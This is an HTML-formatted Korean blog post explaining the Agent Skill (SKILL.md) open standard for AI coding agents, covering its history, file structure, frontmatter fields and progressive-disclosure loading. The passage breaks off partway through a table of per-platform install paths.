&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Claude Code &amp;rarr; Codex CLI 이전&lt;/li&gt;
&lt;li&gt;팀 레포 공유 (.agents/skills/)&lt;/li&gt;
&lt;li&gt;Frontend Design 스킬 Before/After&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section8&quot;&gt;주의사항 &amp;mdash; 흔한 함정 4가지&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section-update&quot;&gt;2026년 3월 커뮤니티 최신 동향&lt;/a&gt;
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이번 주 신규 스킬 PR 하이라이트&lt;/li&gt;
&lt;li&gt;npx skills v1.1.1 신기능&lt;/li&gt;
&lt;li&gt;커뮤니티 핵심 논쟁 &amp;mdash; AGENTS.md vs SKILL.md&lt;/li&gt;
&lt;li&gt;실용 팁 &amp;mdash; description 표현 방식, 인스트럭션 한도&lt;/li&gt;
&lt;li&gt;SkillsBench 논문 핵심 결론&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section9&quot;&gt;결론 &amp;mdash; 지금 시작하기&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 1 --&gt;
&lt;h2 id=&quot;section1&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. Agent Skill이란? &amp;mdash; Claude 전용이 아니다&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;흔한 오해 깨기&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2636&quot; data-origin-height=&quot;1418&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bNyM9m/dJMcafTArEQ/k5K0O9DAfoV6ptFymTffL1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bNyM9m/dJMcafTArEQ/k5K0O9DAfoV6ptFymTffL1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bNyM9m/dJMcafTArEQ/k5K0O9DAfoV6ptFymTffL1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbNyM9m%2FdJMcafTArEQ%2Fk5K0O9DAfoV6ptFymTffL1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2636&quot; height=&quot;1418&quot; data-origin-width=&quot;2636&quot; data-origin-height=&quot;1418&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;Claude Skills&quot;라는 이름 때문에 Claude Code 전용으로 오해하는 경우가 많다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;실제로는 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;Agent Skill은 특정 벤더에 종속되지 않는 오픈 표준 규격&lt;/b&gt;&lt;/span&gt;이다. SKILL.md 파일 형식을 따르는 모든 스킬은 표준을 지원하는 어떤 AI 에이전트에서도 작동한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; border-radius: 0 8px 8px 0; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;이런 오해를 하고 있다면 수정이 필요하다&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&quot;Claude Code에서만 쓸 수 있겠지&quot; &amp;rarr; &lt;b&gt;아니다. Cursor, Copilot, Gemini CLI에서도 된다&lt;/b&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&quot;Anthropic이 만든 거면 Claude에 최적화되어 있겠지&quot; &amp;rarr; &lt;b&gt;표준을 오픈했기 때문에 어디서나 동일하게 동작한다&lt;/b&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot;&gt;&quot;직접 만들기 어렵겠지&quot; &amp;rarr; &lt;b&gt;SKILL.md 하나로 5분이면 만든다&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;오픈 표준의 탄생 역사&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Agent Skill 표준이 지금의 모습이 되기까지의 타임라인이다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2644&quot; data-origin-height=&quot;1460&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/yf0Ff/dJMcabRaihX/zeYWAnN6zvNMnOkKXWvjQk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/yf0Ff/dJMcabRaihX/zeYWAnN6zvNMnOkKXWvjQk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/yf0Ff/dJMcabRaihX/zeYWAnN6zvNMnOkKXWvjQk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fyf0Ff%2FdJMcabRaihX%2FzeYWAnN6zvNMnOkKXWvjQk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2644&quot; height=&quot;1460&quot; data-origin-width=&quot;2644&quot; data-origin-height=&quot;1460&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; width: 140px;&quot;&gt;시점&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;내용&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;2025-12-16&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;agentskills/agentskills 저장소 첫 커밋 (init)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f5f9fc;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;2025-12-18&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;오픈 표준으로 공개 &amp;mdash; &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://agentskills.io&quot;&gt;agentskills.io&lt;/a&gt; 론칭, &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/agentskills/agentskills&quot;&gt;agentskills/agentskills&lt;/a&gt; 저장소 공개 (Apache 2.0)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;이후&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Vercel Labs가 &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://skills.sh&quot;&gt;skills.sh&lt;/a&gt; 디렉토리 사이트 + npx skills CLI 제작. Cursor, GitHub Copilot, Gemini CLI 등 주요 플랫폼들이 순차적으로 공식 지원 추가&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f5f9fc;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;2026-03 현재&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;32개 이상의 AI 에이전트/IDE가 공식 지원. agentskills/agentskills 저장소 13,220 (2026-03-16 기준)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;현재 생태계 규모&lt;/h3&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; border-radius: 0 8px 8px 0; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2026-03-16 기준 확인된 수치&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;agentskills/agentskills&lt;/b&gt; (표준 저장소): 13,220, Apache 2.0&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;anthropics/skills&lt;/b&gt; (Anthropic 공식 스킬 모음): 94,479&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;공식 지원 플랫폼&lt;/b&gt;: 32개+ (agentskills.io 기준)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot;&gt;&lt;b&gt;공식 문서&lt;/b&gt;: &lt;a style=&quot;color: #155724;&quot; href=&quot;https://agentskills.io&quot;&gt;agentskills.io&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;agentskills 커뮤니티가 표준을 운영하고, Anthropic이 공식 스킬 모음을 제공하며, Vercel이 CLI/디렉토리를 담당하는 구조다. 어떤 단일 기업에도 종속되지 않는 오픈 생태계라는 점이 핵심이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 2 --&gt;
&lt;h2 id=&quot;section2&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. SKILL.md 완전 스펙&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Agent Skill의 핵심은 &lt;code style=&quot;background-color: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', Consolas, monospace; font-size: 14px;&quot;&gt;SKILL.md&lt;/code&gt; 파일 하나다. YAML frontmatter + Markdown 본문으로 이루어진 단순한 텍스트 파일이지만, AI 에이전트가 이 파일을 읽어 어떤 기능을 수행할지 결정한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;디렉토리 구조&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;스킬 하나는 하나의 디렉토리로 구성된다. 필수 파일은 &lt;code style=&quot;background-color: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', Consolas, monospace; font-size: 14px;&quot;&gt;SKILL.md&lt;/code&gt; 뿐이고, 나머지는 모두 선택이다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2642&quot; data-origin-height=&quot;1460&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/UZa0A/dJMcahKDUNG/4sZBC1gpsplLKr1ZGRTAt0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/UZa0A/dJMcahKDUNG/4sZBC1gpsplLKr1ZGRTAt0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/UZa0A/dJMcahKDUNG/4sZBC1gpsplLKr1ZGRTAt0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FUZa0A%2FdJMcahKDUNG%2F4sZBC1gpsplLKr1ZGRTAt0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2642&quot; height=&quot;1460&quot; data-origin-width=&quot;2642&quot; data-origin-height=&quot;1460&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;pre class=&quot;stylus&quot; style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333; line-height: 1.6;&quot;&gt;&lt;code&gt;my-skill/
├── SKILL.md          &amp;larr; 필수. 스킬의 전부가 여기에
├── scripts/          &amp;larr; 선택. 스킬이 사용할 스크립트/도구
│   ├── setup.sh
│   └── validate.py
├── references/       &amp;larr; 선택. 참고 문서, 예시 파일
│   ├── example.md
│   └── patterns.md
└── assets/           &amp;larr; 선택. 이미지, 기타 리소스&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;SKILL.md Frontmatter 필드 정의&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;SKILL.md는 파일 상단의 YAML frontmatter와 그 아래의 Markdown 본문으로 구성된다. frontmatter에서 스킬의 메타데이터를 정의한다.&lt;/p&gt;
&lt;pre class=&quot;yaml&quot; style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333; line-height: 1.6;&quot;&gt;&lt;code&gt;---
name: my-awesome-skill          # 필수. 최대 64자. 소문자+숫자+하이픈만
description: |                  # 필수. 최대 1024자
  이 스킬은 무엇을 하는지 한 문단으로 설명한다.
  언제 호출되어야 하는지도 여기에 적는다.
license: MIT                       # 선택
compatibility: |               # 선택. 최대 500자. 지원 플랫폼, 버전 제약 등
  Claude Code 1.0+, Cursor 0.40+
  Node.js 18+ required for scripts/
metadata:                         # 선택. 임의 키-값 쌍
  version: 1.2.0
  author: your-name
  tags: [productivity, frontend]
allowed-tools: Bash(git:*) Bash(npm:*) Read  # 선택. 실험적 기능. 허용할 도구 목록
---&lt;/code&gt;&lt;/pre&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; width: 150px;&quot;&gt;필드&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; width: 80px;&quot;&gt;필수&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;제약 / 설명&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code style=&quot;font-family: 'Fira Code', Consolas, monospace;&quot;&gt;name&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; color: #dc3545;&quot;&gt;&lt;b&gt;필수&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;최대 64자. 소문자 영문자&amp;middot;숫자&amp;middot;하이픈(-)만 허용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f5f9fc;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code style=&quot;font-family: 'Fira Code', Consolas, monospace;&quot;&gt;description&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; color: #dc3545;&quot;&gt;&lt;b&gt;필수&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;최대 1024자. Tier 1에서 로딩되는 핵심 정보. 언제 활성화되는지 명확히 기술&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code style=&quot;font-family: 'Fira Code', Consolas, monospace;&quot;&gt;license&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; color: #6c757d;&quot;&gt;선택&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;SPDX 라이선스 식별자 권장 (MIT, Apache-2.0 등)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f5f9fc;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code style=&quot;font-family: 'Fira Code', Consolas, monospace;&quot;&gt;compatibility&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; color: #6c757d;&quot;&gt;선택&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;최대 500자. 지원 플랫폼, 버전 요구사항, 의존성 명시&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code style=&quot;font-family: 'Fira Code', Consolas, monospace;&quot;&gt;metadata&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; color: #6c757d;&quot;&gt;선택&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;임의 키-값 쌍. version, author, tags 등 자유 형식&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f5f9fc;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code style=&quot;font-family: 'Fira Code', Consolas, monospace;&quot;&gt;allowed-tools&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; color: #6c757d;&quot;&gt;선택&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;실험적 기능.&lt;/b&gt; 스킬이 사용할 수 있는 도구(Bash, Read, Write 등)를 제한&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Progressive Disclosure 3단계&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2636&quot; data-origin-height=&quot;1462&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/s1bBB/dJMcaf66bxz/xXDb2PccyfAZ1eFg2VTaH0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/s1bBB/dJMcaf66bxz/xXDb2PccyfAZ1eFg2VTaH0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/s1bBB/dJMcaf66bxz/xXDb2PccyfAZ1eFg2VTaH0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fs1bBB%2FdJMcaf66bxz%2FxXDb2PccyfAZ1eFg2VTaH0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2636&quot; height=&quot;1462&quot; data-origin-width=&quot;2636&quot; data-origin-height=&quot;1462&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Agent Skill의 가장 중요한 설계 원칙은 &lt;b&gt;Progressive Disclosure&lt;/b&gt;다. 에이전트가 모든 스킬의 전체 내용을 한꺼번에 로딩하면 컨텍스트 윈도우가 금방 채워진다. 그래서 3단계에 걸쳐 필요한 만큼만 로딩한다.&lt;/p&gt;
&lt;div style=&quot;display: flex; flex-direction: column; gap: 15px; margin: 20px 0;&quot;&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px 20px; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; font-weight: 600; margin: 0 0 8px 0;&quot; data-ke-size=&quot;size20&quot;&gt;Tier 1 &amp;mdash; 세션 시작 시 자동 로딩&lt;/h4&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;로딩 내용&lt;/b&gt;: name + description 만&lt;br /&gt;&lt;b&gt;토큰 비용&lt;/b&gt;: 약 50~100 토큰 / 스킬&lt;br /&gt;&lt;b&gt;역할&lt;/b&gt;: &quot;이런 요청이 들어오면 이 스킬을 써야겠다&quot;는 판단 기준. 에이전트가 모든 설치된 스킬의 Tier 1을 읽고 대기한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px 20px; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; font-weight: 600; margin: 0 0 8px 0;&quot; data-ke-size=&quot;size20&quot;&gt;Tier 2 &amp;mdash; 스킬 활성화 시 로딩&lt;/h4&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;로딩 내용&lt;/b&gt;: SKILL.md 전체 본문&lt;br /&gt;&lt;b&gt;권장 크기&lt;/b&gt;: 5,000 토큰 미만&lt;br /&gt;&lt;b&gt;역할&lt;/b&gt;: 실제 수행 지침. 에이전트가 &quot;이 스킬이 필요하다&quot;고 판단한 뒤 전체 본문을 읽고 작업을 수행한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px 20px; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; font-weight: 600; margin: 0 0 8px 0;&quot; data-ke-size=&quot;size20&quot;&gt;Tier 3 &amp;mdash; 필요 시 온디맨드 로딩&lt;/h4&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;로딩 내용&lt;/b&gt;: scripts/, references/, assets/&lt;br /&gt;&lt;b&gt;역할&lt;/b&gt;: 보조 리소스. 스킬 본문에서 참조할 때만 로딩된다. 대용량 참고 문서나 실행 스크립트 등을 여기에 넣는다.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; border-radius: 0 8px 8px 0; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;실전 팁&lt;/b&gt;: description은 &quot;언제 나를 써야 하는지&quot;를 명확하게 써야 한다. Tier 1에서 에이전트가 이 텍스트만 보고 스킬 활성화 여부를 결정하기 때문이다. &quot;코드 리뷰 요청, PR 피드백, 코드 개선 제안 시 활성화&quot;처럼 구체적인 트리거 조건을 포함하는 것이 좋다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 3 --&gt;
&lt;h2 id=&quot;section3&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 크로스플랫폼 지원 현황&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2660&quot; data-origin-height=&quot;1454&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Jkbc5/dJMcafF3hFy/K3PwbtDaTU40FHycMv2dc1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Jkbc5/dJMcafF3hFy/K3PwbtDaTU40FHycMv2dc1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Jkbc5/dJMcafF3hFy/K3PwbtDaTU40FHycMv2dc1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJkbc5%2FdJMcafF3hFy%2FK3PwbtDaTU40FHycMv2dc1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2660&quot; height=&quot;1454&quot; data-origin-width=&quot;2660&quot; data-origin-height=&quot;1454&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;2026-03-16 기준 &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://agentskills.io&quot;&gt;agentskills.io&lt;/a&gt;에 따르면 32개 이상의 플랫폼이 Agent Skills 표준을 공식 지원한다. 각 플랫폼별로 스킬 설치 경로가 다르기 때문에, 정확한 경로를 한 번 파악해두는 것이 중요하다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;주요 플랫폼별 설치 경로&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;플랫폼&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;전역(Global) 설치 경로&lt;/th&gt;
